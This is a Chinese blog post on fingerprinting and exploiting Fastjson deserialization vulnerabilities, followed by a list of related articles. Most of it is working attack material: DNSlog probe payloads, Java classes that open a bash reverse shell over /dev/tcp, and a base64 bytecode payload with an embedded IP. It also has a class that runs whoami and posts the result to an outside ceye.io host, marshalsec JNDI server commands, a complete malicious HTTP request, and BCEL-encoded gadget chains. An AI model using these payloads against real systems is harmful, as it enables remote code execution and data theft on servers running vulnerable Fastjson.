Fastjson在实战中的检测与利用

限时加码!20+主流AI编程工具免费用 购周边加赠Coding Plan Lite,Claude Code、Cursor等即刻畅享,学习进阶更高效! 阅读详情

检测

参考:https://github.com/alibaba/fastjson/issues/3077

jndi漏洞检测

{"@type":"java.net.InetAddress","val":"x166os.dnslog.cn"}

java.net.InetAddress这个gadget在1.2.49禁止了。如果上面这个poc可以出dnslog说明很大概率可以rce。

后端检测

{"@type":"java.net.Inet4Address","val":"dnslog"}
{"@type":"java.net.Inet6Address","val":"dnslog"}
{"@type":"java.net.InetSocketAddress"{"address":,"val":"dnslog"}}
{"@type":"com.alibaba.fastjson.JSONObject", {"@type": "java.net.URL", "val":"dnslog"}}""}
{{"@type":"java.net.URL","val":"dnslog"}:"aaa"}
Set[{"@type":"java.net.URL","val":"dnslog"}]
Set[{"@type":"java.net.URL","val":"dnslog"}
{{"@type":"java.net.URL","val":"dnslog"}:0

如果以上这些poc可以出dnslog,则可以说明后端百分百是fastjson。

踩坑记录

最近发现有个容易被人弄错的地方,就是fastjson的payload。网上的Payload,发现有的目标可以成功,有的目标不能成功,这是为什么?

比如这个Payload:

{"@type":"java.net.Inet4Address","val":"dnslog"}

这个同学发现vulhub环境中,用反弹shell的payload来打可以成功,但换这个检测用的payload就不行。

其实原因是,有的开发在使用fastjson解析请求时会使用Spring的@RequestBody注释,告诉解析引擎,我需要的是一个User类对象(其实就可以理解为JSON中不加@type的普通对象)。

这时候你传入的是{"@type":"java.net.Inet4Address","val":"xxxxx"},相当于给到他的是java.net.Inet4Address对象,所以会爆出一个type not match的异常。

所以建议测试fastjson漏洞,最外层一定是数组或者对象,不要加@type,然后将Payload作为其中一个键值,比如:

{
"xxx": {"@type":"java.net.InetAddress","val":"dnslog"}
}

这样写通常就不会有type not match的错误了。

报错检测

参考:fastjson 获取精确版本号的方法 - 浅蓝 's blog

{"xxx":"aaa"

检测不到花括号和逗号时,即可触发报错,从而判断出后端是fastjson还是jackson,某种情况下可以直接爆出版本号。

版本检测流程

{"@type":"java.net.Inet4Address","val":"dnslog"}

若有dnslog则可以判断入口点为fastjson,接下来开始版本判断。

{"@type":"java.net.InetAddress","val":"dnslog"}

如果有dnslog说明版本在49以下,因为这个gadget在49被禁止了。

{

"xxx": "\x

如果存在dos漏洞说明版本在60以下。没有则60以上。 参考:https://blog.riskivy.com/%E6%97%A0%E6%8D%9F%E6%A3%80%E6%B5%8Bfastjson-dos%E6%BC%8F%E6%B4%9E%E4%BB%A5%E5%8F%8A%E7%9B%B2%E5%8C%BA%E5%88%86fastjson%E4%B8%8Ejackson%E7%BB%84%E4%BB%B6/

{"@type":"java.net.Inet4Address","val":"dnslog"}
{"@type":"java.net.Inet6Address","val":"dnslog"}

如果有dnslog说明在68以及以下。

69以上

{"@type":"java.lang.AutoCloseable","@type":"java.io.FileOutputStream","name":"/etc/passwd","append":true}

复现

fastjson 1.2.24以及之前版本

dnslog

首先看看是否存在漏洞

Content-Type: application/json

1.成功

{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://ip:1099","autoCommit":true}

2.成功

{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://ip:1099","autoCommit":true}

3.未成功

{"@type":"com.mchange.v2.c3p0.JndiRefConnectionPoolDataSource","JndiName":"ldap://ip:1389/Object", "loginTimeout":0}
弹shell

首先编译 poc 得到字节码

javac Poc.class
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import java.io.IOException;
public class Poc extends AbstractTranslet {
public Poc() throws IOException {
try {
Runtime rt = Runtime.getRuntime();
String[] commands={"/bin/bash","-c","bash -i >& /dev/tcp/ip/19999 0>&1"};
Process pc = rt.exec(commands);
pc.waitFor();
} catch (Exception e) {
// do nothing
}
}
@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) {
}
@Override
public void transform(DOM document, com.sun.org.apache.xml.internal.serializer.SerializationHandler[] haFndlers) throws TransletException {
}
public static void main(String[] args) throws Exception {
Poc t = new Poc();
}
}

然后把 .class 文件做 base64 加密 python solve_payload.py

import base64
fin = open(r"Poc.class", "rb")
fout = open(r"en.txt", "w")
s = base64.encodestring(fin.read()).replace("\n", "")
fout.write(s)
fin.close()
fout.close()

修改 json 的 _bytecodes 为 刚刚生成的 base64 文本 :

{"@type":"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl","_bytecodes":["yv66vgAAADQANQoADAAeCgAfACAHACEIACIIACMIACQKAB8AJQoAJgAnBwAoBwApCgAKAB4HACoBAAY8aW5pdD4BAAMoKVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQANU3RhY2tNYXBUYWJsZQcAKQcAKAEACkV4Y2VwdGlvbnMHACsBAAl0cmFuc2Zvcm0BAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQByKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO1tMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWBwAsAQAEbWFpbgEAFihbTGphdmEvbGFuZy9TdHJpbmc7KVYBAApTb3VyY2VGaWxlAQAIUG9jLmphdmEMAA0ADgcALQwALgAvAQAQamF2YS9sYW5nL1N0cmluZwEACS9iaW4vYmFzaAEAAi1jAQAuYmFzaCAtaSA+JiAvZGV2L3RjcC8xMzkuMTk5LjIwMy4yNTMvMTk5OTkgMD4mMQwAMAAxBwAyDAAzADQBABNqYXZhL2xhbmcvRXhjZXB0aW9uAQADUG9jAQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEAE2phdmEvaW8vSU9FeGNlcHRpb24BADljb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvVHJhbnNsZXRFeGNlcHRpb24BABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAoKFtMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwEAEWphdmEvbGFuZy9Qcm9jZXNzAQAHd2FpdEZvcgEAAygpSQAhAAoADAAAAAAABAABAA0ADgACAA8AAAB+AAQABAAAACwqtwABuAACTAa9AANZAxIEU1kEEgVTWQUSBlNNKyy2AAdOLbYACFenAARMsQABAAQAJwAqAAkAAgAQAAAAIgAIAAAACwAEAA4ACAAPABwAEAAiABEAJwAUACoAEgArABwAEQAAABAAAv8AKgABBwASAAEHABMAABQAAAAEAAEAFQABABYAFwABAA8AAAAZAAAABAAAAAGxAAAAAQAQAAAABgABAAAAIAABABYAGAACAA8AAAAZAAAAAwAAAAGxAAAAAQAQAAAABgABAAAAJQAUAAAABAABABkACQAaABsAAgAPAAAAJQACAAIAAAAJuwAKWbcAC0yxAAAAAQAQAAAACgACAAAAKAAIACkAFAAAAAQAAQAJAAEAHAAAAAIAHQ=="],"_name":"a.b","_tfactory":{ },"_outputProperties":{ },"_version":"1.0","allowedProtocols":"all"}
nc -lvp 19999

发包即可弹shell

不过有限制:

  1. 目标网站使用fastjson库解析json
  2. 解析时设置了Feature.SupportNonPublicField,否则不支持传入私有属性
  3. 目标使用的jdk中存在TemplatesImpl
jndi的限制

为什么不jndi去打呢,因为java 8u121( Java™ SE Development Kit 8, Update 121 Release Not... )进行了更新,增加了 com.sun.jndi.rmi.object.trustURLCodebase 选项,只有设置了这个选项为True的时候才能正常使用URL进行class的加载。

https://www.anquanke.com/post/id/182140

基于rmi的利用方式

适用jdk版本:JDK 6u132, JDK 7u122, JDK 8u113之前

利用方式:

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalc.jndi.RMIRefServer http://127.0.0.1:8080/test/#Expolit
基于ldap的利用方式

适用jdk版本:JDK 11.0.1、8u191、7u201、6u211之前

利用方式:

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalc.jndi.LDAPRefServer http://127.0.0.1:8080/test/#Expolit
基于BeanFactory的利用方式

适用jdk版本:JDK 11.0.1、8u191、7u201、6u211以后

利用前提:因为这个利用方式需要借助服务器本地的类,而这个类在tomcat的jar包里面,一般情况下只能在tomcat上可以利用成功。

利用方式:

public class EvilRMIServerNew {
    public static void main(String[] args) throws Exception {
        System.out.println("Creating evil RMI registry on port 1097");
        Registry registry = LocateRegistry.createRegistry(1097);
        //prepare payload that exploits unsafe reflection in org.apache.naming.factory.BeanFactory
        ResourceRef ref = new ResourceRef("javax.el.ELProcessor", null, "", "", true,"org.apache.naming.factory.BeanFactory",null);
        //redefine a setter name for the 'x' property from 'setX' to 'eval', see BeanFactory.getObjectInstance code
        ref.add(new StringRefAddr("forceString", "x=eval"));
        //expression language to execute 'nslookup jndi.s.artsploit.com', modify /bin/sh to cmd.exe if you target windows
        ref.add(new StringRefAddr("x", "\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"JavaScript\").eval(\"new java.lang.ProcessBuilder['(java.lang.String[])'](['/bin/sh','-c','open /Applications/Calculator.app/']).start()\")"));
        ReferenceWrapper referenceWrapper = new com.sun.jndi.rmi.registry.ReferenceWrapper(ref);
        registry.bind("Object", referenceWrapper);
    }

}

Fastjson 1.2.47 远程命令执行漏洞

dnslog
{
    "a":{
        "@type":"java.lang.Class",
        "val":"com.sun.rowset.JdbcRowSetImpl"
    },
    "b":{
        "@type":"com.sun.rowset.JdbcRowSetImpl",
        "dataSourceName":"rmi://ip:9999/Exploit",
        "autoCommit":true
    }
}
jndi注入 rmi 弹shell

目标环境是openjdk:8u102,这个版本没有com.sun.jndi.rmi.object.trustURLCodebase的限制,我们可以简单利用RMI进行命令执行。

首先编译并上传命令执行代码,如http://ip/ExportObject.class:

// javac ExportObject.java
import java.lang.Runtime;
import java.lang.Process;

public class ExportObject {
    static {
        try {
            Runtime rt = Runtime.getRuntime();
            String[] commands={"/bin/bash","-c","bash -i >& /dev/tcp/ip/19999 0>&1"};
            Process pc = rt.exec(commands);
            pc.waitFor();
        } catch (Exception e) {
            // do nothing
        }
    }
}

然后我们借助marshalsec项目,启动一个RMI服务器,监听9999端口,并制定加载远程类ExportObject.class:

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://ip/#ExportObject" 9997

向靶场服务器发送Payload:

{
    "a":{
        "@type":"java.lang.Class",
        "val":"com.sun.rowset.JdbcRowSetImpl"
    },
    "b":{
        "@type":"com.sun.rowset.JdbcRowSetImpl",
        "dataSourceName":"rmi://ip:9999/Exploit",
        "autoCommit":true
    }
}

nc -lvp 19999 成功弹shell,java版本要一样或者更低才能成功,因为java兼容低版本class,而不是往上兼容,所以通常用jdk6来编译class。

注意一些java版本要一样,在web服务器日志请求头可以看到java版本,然后用该版本编译class,再远程加载执行。

ldap执行命令

exp

//evil2.java
import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStream;
import java.io.InputStreamReader;
import java.io.OutputStream;
import java.io.OutputStreamWriter;
import java.io.Reader;
import java.net.HttpURLConnection;
import java.net.URL;
import java.net.URLConnection;

public class evil2 {
    public static void post(String uri, String data) {
        HttpURLConnection httpURLConnection = null;
        BufferedReader bufferedReader = null;
        try {
            URL url = new URL(uri);
            httpURLConnection = (HttpURLConnection)url.openConnection();
            httpURLConnection.setRequestMethod("POST");
            httpURLConnection.setDoOutput(true);
            OutputStreamWriter out = new OutputStreamWriter(httpURLConnection.getOutputStream());
            out.write(data);
            out.close();
            httpURLConnection.connect();
            InputStream inputStream = httpURLConnection.getInputStream();
            bufferedReader = new BufferedReader(new InputStreamReader(inputStream));
            String line = null;
            StringBuffer stringBuffer = new StringBuffer();
            while ((line = bufferedReader.readLine()) != null) {
                stringBuffer.append(line + "\n");
            }
        }
        catch (Exception e) {
            e.printStackTrace();
        }
        finally {
            if (httpURLConnection != null) {
                httpURLConnection.disconnect();
            }
            try {
                if (bufferedReader != null) {
                    bufferedReader.close();
                }
            }
            catch (IOException e) {}
        }
    }

    public static String exec(String cmd) {
        StringBuffer res = new StringBuffer();
        try {
            Process p = Runtime.getRuntime().exec(cmd);
            p.waitFor();
            InputStream fis = p.getInputStream();
            InputStreamReader isr = new InputStreamReader(fis);
            BufferedReader br = new BufferedReader(isr);
            String line = "";
            while ((line = br.readLine()) != null) {
                res.append(line);
            }
        }
        catch (Exception e) {
            e.printStackTrace();
        }
        return res.toString();
    }

    static {
        String cmd = evil2.exec("whoami");
        evil2.post("http://ldap.ceu5ns.ceye.io/", cmd);
//        cmd = evil2.exec("ifconfig");
//        evil2.post("http://ldap.91030df7.n0p.co/", cmd);
//        cmd = evil2.exec("cat /etc/hosts");
//        evil2.post("http://ldap.91030df7.n0p.co/", cmd);
    }
}

启动ldap服务器

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://ip/#evil2 1099
post
{
    "a":{
        "@type":"java.lang.Class",
        "val":"com.sun.rowset.JdbcRowSetImpl"
    },
    "b":{
        "@type":"com.sun.rowset.JdbcRowSetImpl",
        "dataSourceName":"ldap://ip:1099/Exploit",
        "autoCommit":true
    }
}

成功执行。

弹shell
//evil.java
import java.lang.Runtime;
import java.lang.Process;

public class evil {
    static {
        try {
            Runtime rt = Runtime.getRuntime();
            String[] commands={"/bin/bash","-c","bash -i >& /dev/tcp/ip/19999 0>&1"};
            Process pc = rt.exec(commands);
            pc.waitFor();
        } catch (Exception e) {
            // do nothing
        }
    }
}

启动ldap服务器

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://ip/#evil 1098

bp发包

POST /public/LOGIN/loginIn HTTP/1.1
Host: xxx
Content-Length: 266
Accept: text/plain, */*; q=0.01
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/76.0.3809.100 Safari/537.36
Content-Type: application/json; charset=UTF-8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Cookie: SESSION=07c5e3d3-c2cf-4cbd-ad57-e358d7e0abac; SESSION=07c5e3d3-c2cf-4cbd-ad57-e358d7e0abac
Connection: close

{
    "a":{
        "@type":"java.lang.Class",
        "val":"com.sun.rowset.JdbcRowSetImpl"
    },
    "b":{
        "@type":"com.sun.rowset.JdbcRowSetImpl",
        "dataSourceName":"ldap://ip:1098/Exploit",
        "autoCommit":true
    }
}

成功弹shell。

defineclass

参考:https://github.com/bit4woo/code2sec.com/blob/master/Java%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E%E5%AD%A6%E4%B9%A0%E5%AE%9E%E8%B7%B5%E4%B8%83%EF%BC%9Afastjson%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96PoC%E6%B1%87%E6%80%BB.md

com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl

这个在上面提到过了,是有限制的,实战中一般gg。

tomcat-dbcp&&commons-dbcp

Fastjson BasicDataSource攻击链简介

BasicDataSource攻击链只能用于Fastjson 1.2.24及更低版本。

参考 defineClass在java反序列化当中的利用 - 先知社区,发现 ClassLoader 还是挺好使。文章中给的 payload 依赖是 tomcat-dbcp,对应的构造类是 org.apache.tomcat.dbcp.dbcp.BasicDataSource 。我碰到的这个漏洞环境没有 tomcat-dbcp,只有 commons-dbcp,不过我发现也能用,利用方式和 Payload 构造方法基本一样,只是要把对应的构造类换成 org.apache.commons.dbcp.BasicDataSource 。

{ 
        {
                @type": "com.alibaba.fastjson.JSONObject",
                "c": {
                        "@type": "org.apache.tomcat.dbcp.dbcp.BasicDataSource",
                        "driverClassLoader": {
                                "@type": "com.sun.org.apache.bcel.internal.util.ClassLoader"
                                }, 
                        "driverClassName": "$$BCEL$$$l$8b$I$A$A$A$A$A$A$AePMO$c2$40$Q$7d$x$85$d6Z$f9$u$a2$80$dfz$B$P$Q$P$9e$m$5e$8c$5el$d0$88$c1$QOe$d9$e0$ShI$v$G$7f$91g$$jL$f4$H$f8$a3$8c$d3J$c0$8f$3d$cc$ec$bcy$f3$e6$ed$7e$7c$be$be$D8$c4$be$8eE$ac$e8$c8$60U$c5$9a$86$ac$86$5cP$e5U$ac$ab$d8P$b1$c9$Q$abJG$fa$c7$M$91B$b1$c1$a0$9c$b8m$c1$90$b0$a4$pj$a3$7eKx$d7v$abG$88i$b9$dc$ee5lO$G$f5$UT$fc$3b9d$88ZmgXa$d0$aa$bc7U$d3$eb$ee$c8$e3$e2L$G4$8d$da$a5$ae$7do$h$d0$b1$a4b$cb$c06v$Y$92$BV$ee$d9N$a7$5c$f7$3d$e9tHq$Q$a68$X$a3$p$g$e2$e2A$94$a4k$60$X$7b$M$e99$fft$cc$c5$c0$97$aeC$c6I$fd$97$d6E$ab$x$b8$cf$90$9aCW$p$c7$97$7d$b2$a2w$84$3f$x2$85$a2$f5$8fC$efP$c4Xp$86B$e1$d6$fa$eb$b0$f2s$e2$d2s$b9$Y$O$x$e4N$a3$9f$O$ce$CX$f0F$8a$GUe$ca$8cr$f4$e0$Zl$S$b6$97$v$c6BPG$9c$a2$f1M$40$CI$ca$gR$b3$e1$g$a1A$_$ff$82$85$e8$h$o$cd$88$a9$d4$9b$8a$Z$ad$3f$nv$f3$I$e5$7c$S$f63$c8B$9d$w$9bPB$b5$M$veiO$8el$c5$c3$bd$m$ae$Z$de$d2_$d77$eb$a6$m$C$A$A"
                        } 
        }:"ddd"
}
{
"@type": "org.apache.commons.dbcp.BasicDataSource",
"driverClassLoader": {
        "@type": "com.sun.org.apache.bcel.internal.util.ClassLoader"
        }, 
"driverClassName": "$$BCEL$$$l$8b$I$A$A$A$A$A$A$AePMO$c2$40$Q$7d$x$85$d6Z$f9$u$a2$80$dfz$B$P$Q$P$9e$m$5e$8c$5el$d0$88$c1$QOe$d9$e0$ShI$v$G$7f$91g$$jL$f4$H$f8$a3$8c$d3J$c0$8f$3d$cc$ec$bcy$f3$e6$ed$7e$7c$be$be$D8$c4$be$8eE$ac$e8$c8$60U$c5$9a$86$ac$86$5cP$e5U$ac$ab$d8P$b1$c9$Q$abJG$fa$c7$M$91B$b1$c1$a0$9c$b8m$c1$90$b0$a4$pj$a3$7eKx$d7v$abG$88i$b9$dc$ee5lO$G$f5$UT$fc$3b9d$88ZmgXa$d0$aa$bc7U$d3$eb$ee$c8$e3$e2L$G4$8d$da$a5$ae$7do$h$d0$b1$a4b$cb$c06v$Y$92$BV$ee$d9N$a7$5c$f7$3d$e9tHq$Q$a68$X$a3$p$g$e2$e2A$94$a4k$60$X$7b$M$e99$fft$cc$c5$c0$97$aeC$c6I$fd$97$d6E$ab$x$b8$cf$90$9aCW$p$c7$97$7d$b2$a2w$84$3f$x2$85$a2$f5$8fC$efP$c4Xp$86B$e1$d6$fa$eb$b0$f2s$e2$d2s$b9$Y$O$x$e4N$a3$9f$O$ce$CX$f0F$8a$GUe$ca$8cr$f4$e0$Zl$S$b6$97$v$c6BPG$9c$a2$f1M$40$CI$ca$gR$b3$e1$g$a1A$_$ff$82$85$e8$h$o$cd$88$a9$d4$9b$8a$Z$ad$3f$nv$f3$I$e5$7c$S$f63$c8B$9d$w$9bPB$b5$M$veiO$8el$c5$c3$bd$m$ae$Z$de$d2_$d77$eb$a6$m$C$A$A"
} 
        

fastjson 1.2.68绕过rce

参考:

https://b1ue.cn/archives/382.html具体的gadget需要自行寻找。暂不公开。

好用的目前就两条链,一个是mysqljdbc,需要mysqlconnect依赖在5.x。另外一个是common-io写文件,需要知道绝对路径。这两条链目前都已经公开。

Fastjson反序列化漏洞复现 阅读详情

相关推荐

Fastjson漏洞的识别DNSlog回显

Fastjson RCE漏洞实战POC探测方式

tpaer的博客 5822

35-3 使用dnslog探测fastjson漏洞

DNSLog是一种记录在DNS上的域名相关信息的机制,类似于日志文件,记录了对域名或IP的访问信息。因特网采用树状结构的命名方法,按照组织结构划分域,每个域都是名字空间中被管理的一个划分,可以进一步划分为子域。当向DNS服务器发起kxsy.work的解析请求时,DNSLog会记录下此次解析,包括解析的域名和对应的IP地址。刷新dnslog服务器的记录,有记录就说明存在漏洞(一开始的4ax的子域名发送请求,刷新看不到,我就获取一个新的子域名做演示,所以下面的截图中的域名跟上一张不一样)将数据包发送到重发器。

weixin_43263566的博客 2443

代码审计-fastjsondnslog探测方式分析

前言 正常测试的时候,发现java后端对json处理都会去测试一下是否存在反序列化,但是后端处理json的组件很多,比如fastjson、jackson、gson等,怎么判断是否使用了fastjson呢? 有一个简便无危害的方式,就是通过dnslog来判断。 大佬们讨论的issue 说明 前面我们在分析的时候,会发现很多有一个变量token在进行判断,比如token == 12 或者 token == 14等,那这个token到底代表啥呢?在com.alibaba.fastjson.parser.

cdyunaq的博客 2369

通过dnslog探测fastjson的几种方法

0x01 背景 在渗透测试中遇到json数据一般都会测试下有没有反序列化。然而json库有fastjson,jackson,gson等等。怎么判断后端不是fastjson呢?这就需要构造特定的payload了。 昨天翻看fastjson源码时发现了一些可以构造dns解析且没在黑名单当中的类,于是顺手给官方提了下Issue。有趣的是后续的师傅们讨论还挺热闹的,我也在这次讨论中学习了很多。这篇...

Adminxe的博客 9797

Tcsec安全研究院|fastjson漏洞分析

fastjson 是一个 Java 库,可用于将 Java 对象转换为其 JSON 表示形式。

tcsecXD的博客 2253

Fastjson漏洞#无回显#利用链#实战检测

本文深入剖析了Fastjson无回显漏洞的利用原理实战检测方法。重点解析了TemplatesImpl和BasicDataSource两条经典不出网利用链的攻击机制,并提供了从请求特征(如@type、_bytecodes)到响应异常(如400/500状态码)的详细检测规则防护建议,帮助安全人员有效应对此类隐蔽性极高的静默攻击。

weixin_28568819的博客 236

Java框架反序列化漏洞深度实战|Spring/Fastjson漏洞利用Python检测脚本开发」

以上是一些最常用的 Java 框架(Spring、Struts、Tomcat 和 JBoss)及其相关的 CVE 漏洞。这些漏洞大多涉及反序列化漏洞,通过恶意构造的请求触发远程代码执行(RCE)。下载和使用 POC 和 EXP 可以帮助您理解漏洞的利用过程并进行漏洞测试。

盾悟 2522

实战复盘:一次从流量特征到不出网利用Fastjson漏洞挖掘之旅

本文详细解析了Fastjson漏洞在不出网环境下的实战挖掘过程,从流量特征识别到无回显利用链构造,提供了TemplatesImpl和BasicDataSource等关键利用技术。文章还分享了无回显验证技巧和企业级防护方案,帮助安全团队有效防御Fastjson反序列化漏洞风险。

weixin_30369041的博客 454

第N篇:实战中精准定位fastjson版本的指纹探测技术解析

本文深入解析实战中精准定位fastjson版本的指纹探测技术,涵盖报错信息分析、DNS外带数据探测、延迟行为检测及端口探测等四大核心方法。针对不同fastjson版本的反序列化漏洞特性,提供详细的payload示例和版本判定流程图,并分享WAF绕过技巧自动化工具开发建议,助力红队高效识别目标版本。

weixin_42524171的博客 378

Fastjson反序列化漏洞原理剖析实战防御指南

JSON反序列化是现代Web应用数据交换的核心技术,其原理是将JSON字符串转换为内存中的对象实例。然而,这一过程若设计不当,可能引入严重的安全风险。Java生态中广泛使用的Fastjson库,因其高性能的AutoType机制,在特定条件下可能被恶意利用,通过精心构造的Payload触发远程代码执行,对应用安全构成直接威胁。这种漏洞的利用价值极高,常出现在对暴露的HTTP接口的攻击中,是渗透测试和代码审计的重点关注对象。理解其从JNDI注入到本地ClassPath利用的演进路径,对于构建纵深防御体系至关重要

dieyuqi2955的博客 381

Java反序列化漏洞实战:从利用链构造到内存马防御

Java反序列化是Java对象持久化和网络传输的核心机制,其原理是通过ObjectInputStream将字节流还原为内存中的对象。然而,当程序反序列化不可信数据时,攻击者可能构造恶意对象图,利用目标Classpath中存在的危险类链式调用,最终实现远程代码执行(RCE)。这一技术漏洞在Apache Commons Collections、Fastjson等流行组件中曾广泛存在,具有极高的实战价值。在应用场景上,攻击者常通过Shiro RememberMe、RMI、Hessian等入口点注入Payload,

weixin_42706667的博客 350

基于NucleiYakit的致远M3 Fastjson反序列化漏洞自动化检测实践

反序列化漏洞是Java应用安全中的常见高风险问题,其原理在于将不可信的数据流还原为对象时,可能触发恶意代码执行。Fastjson作为广泛使用的JSON处理库,其AutoType机制曾引发多起远程代码执行(RCE)漏洞,对系统安全构成严重威胁。在自动化安全测试资产巡检场景中,高效、精准地检测此类漏洞至关重要。本文通过Nuclei模板化检测能力Yakit一体化平台的结合,详细阐述了针对致远M3协同管理平台中Fastjson反序列化漏洞的自动化检测方案。该方案利用反连平台进行无交互验证,实现了从资产发现、漏洞

weixin_42530732的博客 278

如何高效使用Seeyoner:12大致远OA漏洞检测实战完整指南

致远OA漏洞检测工具Seeyoner是一款专为安全研究人员设计的专业级漏洞扫描利用工具,能够在几分钟内完成对致远OA系统的全面安全评估。这款开源工具集成了12个关键漏洞的检测能力,从Fastjson反序列化到敏感信息泄露,为企业安全团队提供了一站式的安全检测解决方案。 ## 🚀 项目亮点独特价值 Seeyoner的最大优势在于其**模块化架构**和**实战导向设计**。不同于传统的扫描工

gitblog_00643的博客 311

Fastjson反序列化漏洞:从原理到实战修复指南

JSON作为现代Web应用数据交换的核心格式,其序列化反序列化过程是Java开发中的基础操作。反序列化机制允许将JSON字符串转换为Java对象,但若实现不当,攻击者可能通过构造恶意数据触发非预期的类加载方法执行,从而引发远程代码执行等高危漏洞。这一原理在Fastjson库中因autoType特性而尤为突出,攻击者可利用@type字段动态加载危险类,结合JNDI注入等技术链实现攻击。理解此类漏洞有助于深入Java安全机制防御策略,对保障企业级应用安全具有重要价值。本文聚焦Fastjson反序列化漏洞,

weixin_29323273的博客 354

JAVA反序列化漏洞

在shiro <= 1.2.4中,反序列化过程中所用到的AES加密的key是硬编码在源码中,当用户勾选RememberMe并登录成功,shiro会将用户的cookie值序列化,AES加密,接着base64编码后存储在cookie的rememberMe字段中,服务端收到登录调求后,会对rememberMe的cookie值进行base64解码,接着进行AES解密,然后反序列化。Java序列化结果是一个二进制流,不能直接修改,所以一般需要通过修改对象的内容,然后再序列化,得到攻击载体。

weixin_74737710的博客 636

实战指南:开源致远OA漏洞检测工具的12大安全模块深度解析

致远OA漏洞检测工具是一款专为致远协同办公系统设计的开源安全审计平台,能够在企业信息化建设中提供专业的安全防护支持。这款工具通过模块化设计和智能检测算法,帮助企业安全团队高效识别和验证12个常见安全漏洞,为系统安全评估提供全面的技术解决方案。 ## 项目概览价值主张 Seeyoner致远OA漏洞检测工具采用Go语言开发,具有跨平台、高性能的特点。工具的核心价值在于为安全研究人员和企业IT团队

gitblog_00607的博客 95

Java反序列化漏洞原理YSOserial工具实战指南

Java序列化反序列化是分布式系统通信和数据持久化的基础技术,其核心原理是将对象状态转换为字节流以便传输或存储。然而,由于Java在反序列化过程中无条件信任并执行字节流中的初始化逻辑,这一机制存在严重的安全隐患。攻击者通过精心构造恶意序列化数据,利用目标应用ClassPath中存在的特定第三方库(如Apache Commons Collections、Fastjson)的类方法调用链,可实现远程命令执行等危害。这种漏洞模式在Java生态中屡见不鲜,其技术价值在于揭示了底层协议信任机制的缺陷,促使开发者从架

Eric.Net的专栏 443

从URLDNS到JRMPClient:一文搞懂ysoserial两大核心Payload的实战区别选择

本文深入解析了ysoserial工具中URLDNS和JRMPClient两大核心Payload的技术原理实战应用。URLDNS适用于无交互的漏洞探测,依赖Java原生类触发DNS查询;而JRMPClient则支持交互式命令执行,需配合远程JRMPListener使用。文章详细对比了两种Payload的适用场景、检测难度及典型漏洞利用案例,为Java反序列化漏洞研究提供了实用指南。

weixin_30902251的博客 288
上一篇: Dubbo-CVE-2020-1948
下一篇: JumpServer rce深入剖析
why811
博客等级 码龄17年 11粉丝 75原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值